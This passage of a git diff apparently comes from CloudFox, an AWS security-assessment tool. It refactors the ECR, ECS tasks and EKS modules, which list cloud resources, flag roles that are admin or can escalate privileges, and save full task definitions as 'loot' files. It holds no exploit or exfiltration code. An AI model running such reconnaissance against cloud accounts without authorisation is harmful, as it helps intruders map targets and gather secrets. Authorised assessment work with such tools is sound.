dataReceiver <- Repository{
|
||||
AWSService: "ECR",
|
||||
Name: repoName,
|
||||
Region: r,
|
||||
URI: pullURI,
|
||||
PushedAt: pushedAt,
|
||||
ImageTags: imageTags,
|
||||
ImageSize: imageSize,
|
||||
}
|
||||
|
||||
// }
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if DescribeRepositories.NextToken != nil {
|
||||
PaginationControl = DescribeRepositories.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
return
|
||||
}
|
||||
allImages = append(allImages, images...)
|
||||
}
|
||||
|
||||
sort.Slice(allImages, func(i, j int) bool {
|
||||
return allImages[i].ImagePushedAt.Format("2006-01-02 15:04:05") < allImages[j].ImagePushedAt.Format("2006-01-02 15:04:05")
|
||||
})
|
||||
|
||||
var image types.ImageDetail
|
||||
var imageTags string
|
||||
|
||||
if len(allImages) > 1 {
|
||||
image = allImages[len(allImages)-1]
|
||||
} else if len(allImages) == 1 {
|
||||
image = allImages[0]
|
||||
} else {
|
||||
return
|
||||
}
|
||||
|
||||
if len(image.ImageTags) > 0 {
|
||||
imageTags = image.ImageTags[0]
|
||||
}
|
||||
//imageTags := image.ImageTags[0]
|
||||
pushedAt := image.ImagePushedAt.Format("2006-01-02 15:04:05")
|
||||
imageSize := aws.ToInt64(image.ImageSizeInBytes)
|
||||
pullURI := fmt.Sprintf("%s:%s", repoURI, imageTags)
|
||||
|
||||
dataReceiver <- Repository{
|
||||
AWSService: "ECR",
|
||||
Name: repoName,
|
||||
Region: r,
|
||||
URI: pullURI,
|
||||
PushedAt: pushedAt,
|
||||
ImageTags: imageTags,
|
||||
ImageSize: imageSize,
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *ECRModule) describeRepositories(r string) ([]types.Repository, error) {
|
||||
|
||||
var repositories []types.Repository
|
||||
Repositories, err := sdk.CachedECRDescribeRepositories(m.ECRClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
return nil, err
|
||||
}
|
||||
|
||||
repositories = append(repositories, Repositories...)
|
||||
|
||||
return repositories, nil
|
||||
}
|
||||
|
||||
func (m *ECRModule) describeImages(r string, repoName string) ([]types.ImageDetail, error) {
|
||||
var images []types.ImageDetail
|
||||
|
||||
ImageDetails, err := sdk.CachedECRDescribeImages(m.ECRClient, aws.ToString(m.Caller.Account), r, repoName)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
return nil, err
|
||||
}
|
||||
images = append(images, ImageDetails...)
|
||||
return images, nil
|
||||
}
|
||||
|
||||
func (m *ECRModule) getECRRepositoryPolicy(r string, repository string) (policy.Policy, error) {
|
||||
var repoPolicy policy.Policy
|
||||
Policy, err := sdk.CachedECRGetRepositoryPolicy(m.ECRClient, aws.ToString(m.Caller.Account), r, repository)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
return repoPolicy, err
|
||||
}
|
||||
repoPolicy, err = policy.ParseJSONPolicy([]byte(Policy))
|
||||
if err != nil {
|
||||
return repoPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", repository, err)
|
||||
}
|
||||
return repoPolicy, nil
|
||||
}
|
||||
+19
-15
@@ -15,15 +15,10 @@ import (
|
||||
|
||||
var AWSRegions = []string{"us-east-1", "us-east-2", "us-west-1", "us-west-2", "af-south-1", "ap-east-1", "ap-south-1", "ap-northeast-3", "ap-northeast-2", "ap-southeast-1", "ap-southeast-2", "ap-northeast-1", "ca-central-1", "eu-central-1", "eu-west-1", "eu-west-2", "eu-south-1", "eu-west-3", "eu-north-1", "me-south-1", "sa-east-1"}
|
||||
|
||||
type MockedECRClientDescribeRepos struct {
|
||||
AWSRegions []string
|
||||
type MockedECRClient struct {
|
||||
}
|
||||
|
||||
type MockedECRClientDescribeImages struct {
|
||||
AWSRegions []string
|
||||
}
|
||||
|
||||
func (m *MockedECRClientDescribeRepos) DescribeRepositories(ctx context.Context, params *ecr.DescribeRepositoriesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeRepositoriesOutput, error) {
|
||||
func (m *MockedECRClient) DescribeRepositories(ctx context.Context, params *ecr.DescribeRepositoriesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeRepositoriesOutput, error) {
|
||||
return &ecr.DescribeRepositoriesOutput{
|
||||
Repositories: []types.Repository{
|
||||
{
|
||||
@@ -34,7 +29,7 @@ func (m *MockedECRClientDescribeRepos) DescribeRepositories(ctx context.Context,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (m *MockedECRClientDescribeImages) DescribeImages(context.Context, *ecr.DescribeImagesInput, ...func(*ecr.Options)) (*ecr.DescribeImagesOutput, error) {
|
||||
func (m *MockedECRClient) DescribeImages(context.Context, *ecr.DescribeImagesInput, ...func(*ecr.Options)) (*ecr.DescribeImagesOutput, error) {
|
||||
return &ecr.DescribeImagesOutput{
|
||||
ImageDetails: []types.ImageDetail{
|
||||
{
|
||||
@@ -46,7 +41,14 @@ func (m *MockedECRClientDescribeImages) DescribeImages(context.Context, *ecr.Des
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (m *MockedECRClient) GetRepositoryPolicy(context.Context, *ecr.GetRepositoryPolicyInput, ...func(*ecr.Options)) (*ecr.GetRepositoryPolicyOutput, error) {
|
||||
return &ecr.GetRepositoryPolicyOutput{
|
||||
PolicyText: aws.String("policyText"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func TestDescribeRepos(t *testing.T) {
|
||||
|
||||
subtests := []struct {
|
||||
name string
|
||||
outputDirectory string
|
||||
@@ -59,13 +61,15 @@ func TestDescribeRepos(t *testing.T) {
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ECRModule{
|
||||
ECRClientDescribeReposInterface: &MockedECRClientDescribeRepos{},
|
||||
ECRClientDescribeImagesInterface: &MockedECRClientDescribeImages{},
|
||||
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
|
||||
OutputFormat: "table",
|
||||
AWSProfile: "test",
|
||||
Goroutines: 30,
|
||||
AWSRegions: AWSRegions,
|
||||
ECRClient: &MockedECRClient{},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
Account: aws.String("123456789012"),
|
||||
},
|
||||
OutputFormat: "table",
|
||||
AWSProfile: "test",
|
||||
Goroutines: 30,
|
||||
AWSRegions: AWSRegions,
|
||||
},
|
||||
expectedResult: []Repository{{
|
||||
Name: "test1",
|
||||
|
||||
+154
-64
@@ -2,6 +2,7 @@ package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -9,12 +10,12 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ec2"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecs/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/sirupsen/logrus"
|
||||
@@ -24,12 +25,12 @@ type DescribeTasksDefinitionAPIClient interface {
|
||||
DescribeTaskDefinition(context.Context, *ecs.DescribeTaskDefinitionInput, ...func(*ecs.Options)) (*ecs.DescribeTaskDefinitionOutput, error)
|
||||
}
|
||||
type ECSTasksModule struct {
|
||||
DescribeTaskDefinitionClient DescribeTasksDefinitionAPIClient
|
||||
DescribeTasksClient ecs.DescribeTasksAPIClient
|
||||
ListTasksClient ecs.ListTasksAPIClient
|
||||
ListClustersClient ecs.ListClustersAPIClient
|
||||
DescribeNetworkInterfacesClient ec2.DescribeNetworkInterfacesAPIClient
|
||||
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
|
||||
DescribeTaskDefinitionClient DescribeTasksDefinitionAPIClient
|
||||
DescribeTasksClient ecs.DescribeTasksAPIClient
|
||||
ListTasksClient ecs.ListTasksAPIClient
|
||||
ListClustersClient ecs.ListClustersAPIClient
|
||||
DescribeNetworkInterfacesClient ec2.DescribeNetworkInterfacesAPIClient
|
||||
IAMClient sdk.AWSIAMClientInterface
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
@@ -50,15 +51,16 @@ type ECSTasksModule struct {
|
||||
}
|
||||
|
||||
type MappedECSTask struct {
|
||||
Cluster string
|
||||
TaskDefinition string
|
||||
LaunchType string
|
||||
ID string
|
||||
ExternalIP string
|
||||
PrivateIP string
|
||||
Role string
|
||||
Admin string
|
||||
CanPrivEsc string
|
||||
Cluster string
|
||||
TaskDefinitionName string
|
||||
TaskDefinitionContent string
|
||||
LaunchType string
|
||||
ID string
|
||||
ExternalIP string
|
||||
PrivateIP string
|
||||
Role string
|
||||
Admin string
|
||||
CanPrivEsc string
|
||||
}
|
||||
|
||||
func (m *ECSTasksModule) ECSTasks(outputFormat string, outputDirectory string, verbosity int) {
|
||||
@@ -75,15 +77,15 @@ func (m *ECSTasksModule) ECSTasks(outputFormat string, outputDirectory string, v
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating ECS tasks in all regions for account %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
|
||||
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
if m.pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
// if m.pmapperError != nil {
|
||||
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
@@ -124,7 +126,7 @@ func (m *ECSTasksModule) ECSTasks(outputFormat string, outputDirectory string, v
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
m.printECSTaskData(outputFormat, outputDirectory, dataReceiver)
|
||||
m.printECSTaskData(outputFormat, outputDirectory, dataReceiver, verbosity)
|
||||
|
||||
}
|
||||
|
||||
@@ -141,41 +143,90 @@ func (m *ECSTasksModule) Receiver(receiver chan MappedECSTask, receiverDone chan
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ECSTasksModule) printECSTaskData(outputFormat string, outputDirectory string, dataReceiver chan MappedECSTask) {
|
||||
m.output.Headers = []string{
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"LaunchType",
|
||||
"ID",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"RoleArn",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
func (m *ECSTasksModule) printECSTaskData(outputFormat string, outputDirectory string, dataReceiver chan MappedECSTask, verbosity int) {
|
||||
if m.pmapperError == nil {
|
||||
m.output.Headers = []string{
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"LaunchType",
|
||||
"ID",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"RoleArn",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"LaunchType",
|
||||
"ID",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
"RoleArn",
|
||||
"IsAdminRole?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
for _, ecsTask := range m.MappedECSTasks {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
ecsTask.Cluster,
|
||||
ecsTask.TaskDefinition,
|
||||
ecsTask.LaunchType,
|
||||
ecsTask.ID,
|
||||
ecsTask.ExternalIP,
|
||||
ecsTask.PrivateIP,
|
||||
ecsTask.Role,
|
||||
ecsTask.Admin,
|
||||
ecsTask.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
if m.pmapperError == nil {
|
||||
for _, ecsTask := range m.MappedECSTasks {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
ecsTask.Cluster,
|
||||
ecsTask.TaskDefinitionName,
|
||||
ecsTask.LaunchType,
|
||||
ecsTask.ID,
|
||||
ecsTask.ExternalIP,
|
||||
ecsTask.PrivateIP,
|
||||
ecsTask.Role,
|
||||
ecsTask.Admin,
|
||||
ecsTask.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
}
|
||||
} else {
|
||||
for _, ecsTask := range m.MappedECSTasks {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
ecsTask.Cluster,
|
||||
ecsTask.TaskDefinitionName,
|
||||
ecsTask.LaunchType,
|
||||
ecsTask.ID,
|
||||
ecsTask.ExternalIP,
|
||||
ecsTask.PrivateIP,
|
||||
ecsTask.Role,
|
||||
ecsTask.Admin,
|
||||
//ecsTask.CanPrivEsc,
|
||||
},
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
|
||||
m.writeLoot(m.output.FilePath)
|
||||
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName)
|
||||
fmt.Printf("[%s][%s] %s ECS tasks found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
|
||||
} else {
|
||||
@@ -216,6 +267,24 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
|
||||
for _, task := range m.MappedECSTasks {
|
||||
if task.TaskDefinitionContent != "" {
|
||||
path := filepath.Join(path, "task-definitions")
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
taskDefinitionFilename := filepath.Join(path, task.TaskDefinitionName+".json")
|
||||
|
||||
err = os.WriteFile(taskDefinitionFilename, []byte(task.TaskDefinitionContent), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), publicIPsFilename)
|
||||
|
||||
@@ -225,7 +294,7 @@ func (m *ECSTasksModule) executeChecks(r string, wg *sync.WaitGroup, dataReceive
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "EMBEDDED_IN_PACKAGE",
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ecs", r)
|
||||
if err != nil {
|
||||
@@ -352,13 +421,20 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
|
||||
}
|
||||
|
||||
for _, task := range DescribeTasks.Tasks {
|
||||
taskDefinition, err := m.describeTaskDefinition(aws.ToString(task.TaskDefinitionArn), region)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
mappedTask := MappedECSTask{
|
||||
Cluster: getNameFromARN(clusterARN),
|
||||
TaskDefinition: getNameFromARN(aws.ToString(task.TaskDefinitionArn)),
|
||||
LaunchType: string(task.LaunchType),
|
||||
ID: getIDFromECSTask(aws.ToString(task.TaskArn)),
|
||||
PrivateIP: getPrivateIPv4AddressFromECSTask(task),
|
||||
Role: m.getTaskRole(aws.ToString(task.TaskDefinitionArn), region),
|
||||
Cluster: getNameFromARN(clusterARN),
|
||||
TaskDefinitionName: getNameFromARN(aws.ToString(task.TaskDefinitionArn)),
|
||||
TaskDefinitionContent: getTaskDefinitionContent(taskDefinition),
|
||||
LaunchType: string(task.LaunchType),
|
||||
ID: getIDFromECSTask(aws.ToString(task.TaskArn)),
|
||||
PrivateIP: getPrivateIPv4AddressFromECSTask(task),
|
||||
Role: getTaskRole(taskDefinition),
|
||||
}
|
||||
|
||||
eniID := getElasticNetworkInterfaceIDOfECSTask(task)
|
||||
@@ -370,7 +446,21 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ECSTasksModule) getTaskRole(taskDefinitionArn string, region string) string {
|
||||
func getTaskRole(taskDefinition types.TaskDefinition) string {
|
||||
return aws.ToString(taskDefinition.TaskRoleArn)
|
||||
}
|
||||
|
||||
func getTaskDefinitionContent(taskDefinition types.TaskDefinition) string {
|
||||
// return taskDefinition as a json string
|
||||
|
||||
taskDefinitionContent, err := json.Marshal(taskDefinition)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return string(taskDefinitionContent)
|
||||
}
|
||||
|
||||
func (m *ECSTasksModule) describeTaskDefinition(taskDefinitionArn string, region string) (types.TaskDefinition, error) {
|
||||
DescribeTaskDefinition, err := m.DescribeTaskDefinitionClient.DescribeTaskDefinition(
|
||||
context.TODO(),
|
||||
&ecs.DescribeTaskDefinitionInput{
|
||||
@@ -383,9 +473,9 @@ func (m *ECSTasksModule) getTaskRole(taskDefinitionArn string, region string) st
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return ""
|
||||
return types.TaskDefinition{}, err
|
||||
}
|
||||
return aws.ToString(DescribeTaskDefinition.TaskDefinition.TaskRoleArn)
|
||||
return *DescribeTaskDefinition.TaskDefinition, nil
|
||||
}
|
||||
|
||||
/* UNUSED CODE BLOCK - PLEASE REVIEW AND DELETE IF NOT NEEDED
|
||||
|
||||
+106
-160
@@ -1,18 +1,15 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/eks"
|
||||
"github.com/aws/aws-sdk-go-v2/service/eks/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/sirupsen/logrus"
|
||||
@@ -21,11 +18,8 @@ import (
|
||||
type EKSModule struct {
|
||||
// General configuration data
|
||||
// These interfaces are used for unit testing
|
||||
EKSClientListClustersInterface eks.ListClustersAPIClient
|
||||
EKSClientDescribeClusterInterface eks.DescribeClusterAPIClient
|
||||
EKSClientListNodeGroupsInterface eks.ListNodegroupsAPIClient
|
||||
EKSClientDescribeNodeGroupInterface eks.DescribeNodegroupAPIClient
|
||||
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
|
||||
EKSClient sdk.EKSClientInterface
|
||||
IAMClient sdk.AWSIAMClientInterface
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
@@ -74,15 +68,15 @@ func (m *EKSModule) EKS(outputFormat string, outputDirectory string, verbosity i
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating EKS clusters for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
|
||||
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
|
||||
|
||||
if m.pmapperError != nil {
|
||||
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
// if m.pmapperError != nil {
|
||||
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// } else {
|
||||
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
// }
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
@@ -129,37 +123,71 @@ func (m *EKSModule) EKS(outputFormat string, outputDirectory string, verbosity i
|
||||
}
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
"Name",
|
||||
//"Endpoint",
|
||||
"Public",
|
||||
//"OIDC",
|
||||
"NodeGroup",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
if m.pmapperError == nil {
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
"Name",
|
||||
//"Endpoint",
|
||||
"Public",
|
||||
//"OIDC",
|
||||
"NodeGroup",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
"CanPrivEscToAdmin?",
|
||||
}
|
||||
} else {
|
||||
m.output.Headers = []string{
|
||||
"Service",
|
||||
"Region",
|
||||
"Name",
|
||||
//"Endpoint",
|
||||
"Public",
|
||||
//"OIDC",
|
||||
"NodeGroup",
|
||||
"Role",
|
||||
"IsAdminRole?",
|
||||
//"CanPrivEscToAdmin?",
|
||||
}
|
||||
}
|
||||
|
||||
// Table rows
|
||||
for i := range m.Clusters {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Clusters[i].AWSService,
|
||||
m.Clusters[i].Region,
|
||||
m.Clusters[i].Name,
|
||||
//m.Clusters[i].Endpoint,
|
||||
m.Clusters[i].Public,
|
||||
//m.Clusters[i].OIDC,
|
||||
m.Clusters[i].NodeGroup,
|
||||
m.Clusters[i].Role,
|
||||
m.Clusters[i].Admin,
|
||||
m.Clusters[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
|
||||
for i := range m.Clusters {
|
||||
if m.pmapperError == nil {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Clusters[i].AWSService,
|
||||
m.Clusters[i].Region,
|
||||
m.Clusters[i].Name,
|
||||
//m.Clusters[i].Endpoint,
|
||||
m.Clusters[i].Public,
|
||||
//m.Clusters[i].OIDC,
|
||||
m.Clusters[i].NodeGroup,
|
||||
m.Clusters[i].Role,
|
||||
m.Clusters[i].Admin,
|
||||
m.Clusters[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
} else {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Clusters[i].AWSService,
|
||||
m.Clusters[i].Region,
|
||||
m.Clusters[i].Name,
|
||||
//m.Clusters[i].Endpoint,
|
||||
m.Clusters[i].Public,
|
||||
//m.Clusters[i].OIDC,
|
||||
m.Clusters[i].NodeGroup,
|
||||
m.Clusters[i].Role,
|
||||
m.Clusters[i].Admin,
|
||||
//m.Clusters[i].CanPrivEsc,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
var seen []string
|
||||
@@ -170,11 +198,27 @@ func (m *EKSModule) EKS(outputFormat string, outputDirectory string, verbosity i
|
||||
}
|
||||
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
m.writeLoot(m.output.FilePath, verbosity)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity)
|
||||
fmt.Printf("[%s][%s] %d clusters with a total of %d node groups found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(seen), len(m.output.Body))
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No clusters found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
@@ -186,7 +230,7 @@ func (m *EKSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
|
||||
defer wg.Done()
|
||||
|
||||
